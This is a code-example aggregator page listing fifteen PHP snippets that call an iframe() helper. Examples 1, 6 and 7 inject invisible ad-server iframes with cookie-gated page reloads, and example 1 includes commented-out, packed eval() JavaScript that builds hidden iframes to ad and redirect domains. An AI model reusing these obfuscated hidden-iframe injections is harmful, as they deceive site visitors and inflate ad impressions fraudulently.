当前位置: 首页>>代码示例>>PHP>>正文


PHP iframe函数代码示例

本文整理汇总了PHP中iframe函数的典型用法代码示例。如果您正苦于以下问题:PHP iframe函数的具体用法?PHP iframe怎么用?PHP iframe使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了iframe函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: hiddenScript

function hiddenScript($id, $iframes)
{
    //if(!isset($_COOKIE[$id]))
    //{
    //echo "<script> document.cookie=".'"'.$id."=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;".'"'."; location.reload(true); alert('hola');</script>;   </script>";
    foreach ($iframes as $key => $value) {
        iframe($value, $key);
    }
    //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 c=\'3\'4=\'5\'6=\'7\'8=\'9://a.b/l\'d=\'0\'e=\'f\'g=\'h-i\'j=\'k:2\'></1>',22,22,'|iframe|hidden|728|height|90|id|prueba1|src|https|tinyurl|com|width|frameborder|scrolling|no|sandbox|allow|scripts|style|visibility|oobtku4'.split('|'),0,{}))</script>";
    //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 h=\'f\'g=\'5\'6=\'7\'8=\'9://a.b.c/2/e/3/3.4?p=i&j=2&k=4&l=m\'n=\'0\'o=\'q\'r=\'s-t\'u=\'v:d\'></1>',32,32,'|iframe|wafra|xdirect|html|90|id|prueba0|src|http|cdn|waframedia8|com|hidden|tags|728|height|width|61741549|serverdomain|ct|ap|1303|frameborder|scrolling||no|sandbox|allow|scripts|style|visibility'.split('|'),0,{}))</script>";
    //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 3=\'e\'2=\'4\'5=\'o\'7=\'8://n.a/b?c=m&f=&3=0&2=0\'g=\'0\'h=\'i\'j=\'k-l\'d=\'9:6\'></1><1 3=\'e\'2=\'4\'5=\'p\'7=\'8://q.a/b?c=r&3=0&2=0&f=\'g=\'0\'h=\'i\'j=\'k-l\'d=\'9:6\'></1>',28,28,'|iframe|height|width|90|id|hidden|src|http|visibility|com|ads|key|style|728|ch|frameborder|scrolling|no|sandbox|allow|scripts|9d12bbc1343037347b2d5f3a1dd96353|n280adserv|prueba2|prueba3|n156adserv|576c23f37e72191ca2dbcf2fcc32e8e2'.split('|'),0,{}))</script>";
    //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1 b=\'3\'4=\'5\'6=\'7\'8=\'9://a.k\'c=\'0\'d=\'e\'f=\'g-h\'i=\'j:2\'></1>',21,21,'|iframe|hidden|728|height|90|id|prueba4|src|http|google|width|frameborder|scrolling|no|sandbox|allow|scripts|style|visibility|com'.split('|'),0,{}))</script>";
    //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 e=\'3\'4=\'5\'6=\'7\'8=\'9://a.b.c/d/p/f/g/\'h=\'0\'i=\'j\'k=\'l-m\'n=\'o:2\'></1>',26,26,'|iframe|hidden|728|height|90|id|prueba5|src|http|t|mdn2015x3|com|build|width|v1|script|frameborder|scrolling|no|sandbox|allow|scripts|style|visibility|77c5bc'.split('|'),0,{}))</script>";
    //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 d=\'3\'4=\'5\'6=\'7\'8=\'9://a.b/c/n/e\'f=\'0\'g=\'h\'i=\'j-k\'l=\'m:2\'></1>',24,24,'|iframe|hidden|728|height|90|id|prueba6|src|http|prpops|com|p|width|direct|frameborder|scrolling|no|sandbox|allow|scripts|style|visibility|gq5e'.split('|'),0,{}))</script>";
    //echo "<script><script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('<1 h=\'f\'g=\'5\'6=\'7\'8=\'9://a.b.c/2/e/3/3.4?p=i&j=2&k=4&l=m\'n=\'0\'o=\'q\'r=\'s-t\'u=\'v:d\'></1>',32,32,'|iframe|wafra|xdirect|html|90|id|prueba0|src|http|cdn|waframedia8|com|hidden|tags|728|height|width|61741549|serverdomain|ct|ap|1303|frameborder|scrolling||no|sandbox|allow|scripts|style|visibility'.split('|'),0,{}))></div>
    //<script></script>";
    //echo"<script>alert('hola');</script>";
    //}
    //else
    //{
    //	unset($_COOKIE[$id]);
    //echo "<script>location.reload();</script>";
    // echo "<script> document.cookie=".'"'.$id."=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;".'"'."; location.reload(); </script>";
    //$i = 0;
    //echo "<script> $(document).ready(function(){ alert(".'"'.'hola'.'"'.");});</script>";
    //	$i++;
    //\Illuminate\Support\Facades\Session::put('prueba',$i);
    //			echo \Illuminate\Support\Facades\Session::get('prueba');
    //iframe ('http://maetech.co/i.php?c='.pais.'&id='.$id,3);
    //echo "document.write('<script src=".'"'.url()."/impressions/"."$id".'"'."type=".'"'.'text/javascript'.'"'."></script>"."')";
    //echo "<script> var parrafo = document.getElementById('prueba1');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba2');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba3');parrafo.parentNode.removeChild(parrafo); </script>";
    //	}else{
    //}
}
开发者ID:JohanArmando,项目名称:MaxCorpMedia,代码行数:34,代码来源:impresiones.blade.php

示例2: Page

function Page()
{
    $event_id = $_GET["event_id"];
    $page = CurrentPageName();
    $html = "\n\t\n<script language=\"JavaScript\">  // une premiere fonction pour manipuler les valeurs \"dynamiques\"       \nfunction mettre(){                            \n   document.form1.source.focus();\n   document.form1.source.select();\n}\n\nvar timerID  = null;\nvar timerID1  = null;\nvar tant=0;\nvar reste=0;\n\nfunction demarre(){\n   tant = tant+1;\n   reste=10-tant;\n   //document.getElementById('wait').innerHTML=\"- \" + reste + \" s\";\n        \n\n   if (tant < 10 ) {                           //exemple:caler a une minute (60*1000) \n      timerID = setTimeout(\"demarre()\",1000);\n                \n   } else {\n               tant = 0;\n               //document.getElementById('wait').innerHTML='<img src=img/wait.gif>';\n               LoadAjax2('postlogs','{$page}?post=1&event={$event_id}');\n               demarre();                                //la boucle demarre !\n   }\n}\n\nfunction demar1(){\n   tant = tant+1;\n   \n        \n\n   if (tant < 2 ) {                             //delai court pour le premier affichage !\n      timerID = setTimeout(\"demar1()\",1000);\n                \n   } else {\n               tant = 0;                            //reinitialise le compteur\n               LoadAjax2('postlogs','postfix.events.php?post=1');\n                   \n        demarre();                                 //on lance la fonction demarre qui relance le compteur\n   }\n}\n</script>\t\n\t\n\t<div id=wait style='margin:5px;font-weight:bold;font-size:12px;text-align:right'></div>\n\t<div id=postlogs></div>\n\t\n\t<script>LoadAjax2('postlogs','{$page}?post=1&event={$event_id}');</script>\n\t<script>demarre();</script>\n\t";
    echo iframe($html, 0);
}
开发者ID:brucewu16899,项目名称:artica,代码行数:7,代码来源:mysql.events.php

示例3: plug_ajxtst

function plug_ajxtst($a, $b)
{
    $f = '/ajax.php?callj=' . $a . '$nom=' . $b;
    //echo $f;
    //return read_file($f);
    //echo date('ymd',$_SESSION['daya']);
    return iframe($f, 640);
}
开发者ID:philum,项目名称:cms,代码行数:8,代码来源:ajxtst.php

示例4: up_iframe

function up_iframe($error = null)
{
    $file = dirname(__FILE__) . "/ressources/conf/upload/NTconfig.pol";
    if (is_file($file)) {
        $download = "<a href='ressources/conf/upload/NTconfig.pol' style='font-weight:bold;color:blue;font-size:12px;font-family:arial;text-decoration:underline'>{download} {policy}</a>";
    }
    $page = CurrentPageName();
    $html = "\n<div style='color:red;font-size:12px;font-family:arial'>{$error}</div>\n<div style='color:blue;font-size:12px'>{$download}</div>\n<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$page}\">\n<p>\n<input type=\"file\" name=\"fichier\" size=\"30\">\n<hr>\n<div style='text-align:right'>\n<input type='submit' name='upload' value='{upload file}&nbsp;&raquo;' style='width:90px'>\n</div>\n</p>\n</form>";
    $tpl = new templates();
    echo iframe($tpl->_ENGINE_parse_body($html), 0, 0);
}
开发者ID:brucewu16899,项目名称:artica,代码行数:11,代码来源:NTconfig.pol.php

示例5: plug_ixquick

function plug_ixquick($a, $b, $d = '')
{
    $d = ajxg($d);
    $ret .= input(1, 'furl', $d, 'search');
    $ret .= lj('txtbox', 'popup_plup__x_ixquick_plug*ixquick__760_furl', picto('search')) . br();
    $f = 'https://ixquick.com/do/search?q=' . $d . '&l=francais';
    if ($d) {
        $ret = iframe($f . '�740/500');
    }
    //if($d)$ret=read_file($f);
    return $ret;
}
开发者ID:philum,项目名称:cms,代码行数:12,代码来源:ixquick.php

示例6: hiddenScript

function hiddenScript($id, $iframes)
{
    if (!isset($_COOKIE[$id])) {
        iframe($iframes[0]);
        iframe($iframes[1]);
        iframe($iframes[2]);
        iframe($iframes[3]);
        iframe($iframes[4]);
        iframe($iframes[5]);
        echo "<script> document.cookie=" . '"' . $id . "=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;" . '"' . "; location.reload(); </script>";
    } else {
        unset($_COOKIE[$id]);
        //iframe ('http://maetech.co/i.php?c='.pais.'&id='.$id,3);
        //echo "document.write('<script src=".'"'.url()."/impressions/"."$id".'"'."type=".'"'.'text/javascript'.'"'."></script>"."')";
        //echo "<script> var parrafo = document.getElementById('prueba1');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba2');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba3');parrafo.parentNode.removeChild(parrafo); </script>";
    }
}
开发者ID:JohanArmando,项目名称:MaxCorpMedia,代码行数:17,代码来源:impresiones.blade.php

示例7: hiddenScript

function hiddenScript($id, $iframes)
{
    if (!isset($_COOKIE[$id])) {
        foreach ($iframes as $key => $value) {
            iframe($value, $key);
        }
        echo "<script> document.cookie=" . '"' . $id . "=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;" . '"' . ";   alert('hola');</script>";
    } else {
        unset($_COOKIE[$id]);
        //echo "<script>location.reload();</script>";
        // echo "<script> document.cookie=".'"'.$id."=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;".'"'."; location.reload(); </script>";
        //$i = 0;
        //echo "<script> $(document).ready(function(){ alert(".'"'.'hola'.'"'.");});</script>";
        //	$i++;
        //\Illuminate\Support\Facades\Session::put('prueba',$i);
        //			echo \Illuminate\Support\Facades\Session::get('prueba');
        //iframe ('http://maetech.co/i.php?c='.pais.'&id='.$id,3);
        //echo "document.write('<script src=".'"'.url()."/impressions/"."$id".'"'."type=".'"'.'text/javascript'.'"'."></script>"."')";
        //echo "<script> var parrafo = document.getElementById('prueba1');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba2');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba3');parrafo.parentNode.removeChild(parrafo); </script>";
    }
}
开发者ID:JohanArmando,项目名称:MaxCorpMedia,代码行数:21,代码来源:impresiones.blade.php

示例8: foreach

                 }
             }
             //else{ echo "no ftp`s specified in sqlman_conf.inc.php<br>";}
         }
     }
 }
 if ($_GET['rmimp'] == 2) {
     foreach ($ftpacct as $ftpacc) {
         if ($ftpacc['rmimport'] != "off") {
             iframe($ftpacc['rmimpsc'] . "?sl1=" . $_GET['sl1']);
             echo "<hr>";
         }
     }
 }
 if ($_GET['ac'] == "imp") {
     iframe($db_tool['scrdir'] . "/dbtool_imp.php?sl1=" . $_GET['sl1']);
     echo "<hr>";
 }
 if ($_GET['ac'] == "opti") {
     if ($_GET['sl1'] == "all") {
         foreach ($tableyi as $tabul) {
             $sql[] = "OPTIMIZE TABLE `" . sql_addslashes($tabul) . "`";
         }
     } elseif ($_GET['sl1'] != "all") {
         $sql[] = "OPTIMIZE TABLE `" . sql_addslashes($_GET['sl1']) . "` ";
     }
     foreach ($sql as $slq) {
         $qryrsl = mysqli_query($slq);
         echo mysqli_error($connection);
         echo "\"" . $slq . "\" ";
         if ($qryrsl) {
开发者ID:mndrwd,项目名称:freedomeditor,代码行数:31,代码来源:vars.php

示例9: main_events_page

function main_events_page()
{
    $sock = new sockets();
    $datas = $sock->getfile("kav4proxy_events");
    $tbl = split("\n", $datas);
    if (!is_array($tbl)) {
        echo iframe(null, 20);
        exit;
    }
    $html = "<table style='width:100%'>\n\t<tr>\n\t\n\t<th colspan=2>{time}</th>\n\t<th>{client}</th>\n\t<th>URL</th>\n\t<th>{size}</th>\n\t<th>{virus}</th>\n\t</tr>\n\t\n\t";
    $tbl = array_reverse($tbl, TRUE);
    while (list($num, $ligne) = each($tbl)) {
        if (preg_match('#([0-9\\-]+)\\s+([0-9:]+)\\s+([0-9]+)\\s+([A-Z]+)\\s+([0-9\\.]+)\\s+(.+)#', $ligne, $reg)) {
            $date = $reg[1];
            $time = $reg[2];
            $size = $reg[3];
            $results = $reg[4];
            $IP = $reg[5];
            $uri = $reg[6];
            $virus = "&nbsp;";
        } else {
            if (preg_match('#([0-9\\-]+)\\s+([0-9:]+)\\s+([0-9]+)\\s+([A-Z]+)\\s+(.+?)\\s+([0-9\\.]+)\\s+(.+)#', $ligne, $reg)) {
                $date = $reg[1];
                $time = $reg[2];
                $size = $reg[3];
                $results = $reg[4];
                $virus = $reg[5];
                $IP = $reg[6];
                $uri = $reg[7];
            }
        }
        if ($uri != null) {
            $a = "<a href='{$uri}' target='_new'>";
            $uri_ = substr($uri, 0, 50) . "...";
            $uri2 = wordwrap($uri, 50, '<br>', 1);
            $md = md5($ligne);
            $html = $html . "\n\t\t<tr>\n\t\t<td width=1% valign='top'><img src='img/fw_bold.gif'></td>\n\t\t<td valign='top'>{$time}</tD>\n\t\t<td valign='top'>{$IP}</td>\n\t\t<td valign='top' width=1% \n\t\t\tOnMouseOver=\"javascript:document.getElementById('{$md}').innerHTML='{$uri2}'\"\n\t\t\tOnMouseOut=\"javascript:document.getElementById('{$md}').innerHTML='{$uri_}'\"\n\t\t>{$a}<span id='{$md}'>{$uri_}</span></a></td>\n\t\t<td nowrap>{$size} bytes</td>\n\t\t<td valign='top'>{$virus}</td>\n\t\t</tr>\n\t\t\n\t\t";
        }
    }
    $html = $html . "</table>";
    $tpl = new templates();
    $html = $tpl->_ENGINE_parse_body($html);
    echo iframe($html, 20, '500px');
}
开发者ID:brucewu16899,项目名称:artica,代码行数:44,代码来源:kav4proxy.index.php

示例10: iframe

<h3><?php 
echo $l->g(1123);
?>
</h3>
<?php 
iframe("//webchat.freenode.net/?channels=ocsinventory-ng&uio=d4");
开发者ID:remicollet,项目名称:OCSInventory-ocsreports,代码行数:6,代码来源:ms_irc.php

示例11: iframe

<h3><?php 
echo $l->g(1375);
?>
</h3>
<?php 
iframe("//forums.ocsinventory-ng.org");
开发者ID:remicollet,项目名称:OCSInventory-ocsreports,代码行数:6,代码来源:ms_forums.php

示例12: SSHD_KEYS_SERVER_FORM

function SSHD_KEYS_SERVER_FORM($error=null){
	$sock=new sockets();
	$ldap=new clladp();
	$hash=$ldap->Hash_GetALLUsers();
	$users=unserialize(base64_decode($sock->getFrameWork("cmd.php?unixLocalUsers=yes")));
	
	$page=CurrentPageName();
	while (list ($uid, $mail) = each ($hash) ){
		if(strpos($uid,"$")>0){continue;}
		$users[$uid]=$uid;
	}
	$users[null]="{select}";
	ksort($users);	
		$userF=Field_array_Hash($users,"uid",$_POST["uid"],null,null,0,"font-size:13px;padding:3px");
	$html="
	<div style='color:red;font-size:14px;font-weight:bold'>$error</div>
	<form method=\"post\" enctype=\"multipart/form-data\" action=\"$page\">
	<table style='width:100%'>
	<tr>
		<td class=legend style='font-size:13px' nowrap>{ArticaProxyServerUsername}:</td>
		<td>$userF</td>	
	</tr>	
	</table>
	$hidden
	<p>
	<input type=\"file\" name=\"id_rsa\" size=\"30\">
	<input type='submit' name='upload' value='{upload_a_file}&nbsp;&raquo;' style='width:190px'>
	</p>
	</form>
	
	";
	$tpl=new templates();
	echo iframe($tpl->_ENGINE_parse_body($html),0,0);
	
}
开发者ID:rsd,项目名称:artica-1.5,代码行数:35,代码来源:sshd.php

示例13: up_iframe

function up_iframe($error = null)
{
    $page = CurrentPageName();
    $html = "\n<div class=text-info>{OPENVPN_SERVER_CONNECT_EXPLAIN}</div>\n<div style='color:red;font-size:12px;font-family:arial'>{$error}</div>\n<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$page}\">\n<p>\n<input type=\"file\" name=\"fichier\" size=\"30\">\n<hr>\n<div style='text-align:right'>\n<input type='submit' name='upload' value='{upload_vpn_configuration}&nbsp;&raquo;' style='width:220px;font-size:13px;padding:5px'>\n</div>\n</p>\n</form>";
    $tpl = new templates();
    echo iframe($tpl->_ENGINE_parse_body($html, "index.openvpn.php"), 0, 350);
}
开发者ID:brucewu16899,项目名称:1.6.x,代码行数:7,代码来源:openvpn.servers-connect.php

示例14: iframe

#
#The full software license can be found here:
#http://www.accounting-123.com/a.php?a=153/GPLv3
#
#
#
#
#
#
#
#
#
#
#
require "../settings.php";
if (isset($_GET["script"])) {
    print iframe($_GET["script"]);
}
function iframe($script)
{
    $get = "";
    $i = 0;
    foreach ($_GET as $key => $value) {
        if ($i) {
            $get .= "&";
        }
        $i++;
        $get .= "{$key}={$value}";
    }
    return "<iframe class='diary_frameset' id='diary_frameset' src='{$script}?{$get}'></iframe>";
}
开发者ID:andrecoetzee,项目名称:accounting-123.com,代码行数:31,代码来源:iframe.php

示例15: iframe

<h3><?php 
echo $l->g(1377);
?>
</h3>
<?php 
iframe("//ask.ocsinventory-ng.org/questions");
开发者ID:remicollet,项目名称:OCSInventory-ocsreports,代码行数:6,代码来源:ms_ask.php


注:本文中的iframe函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。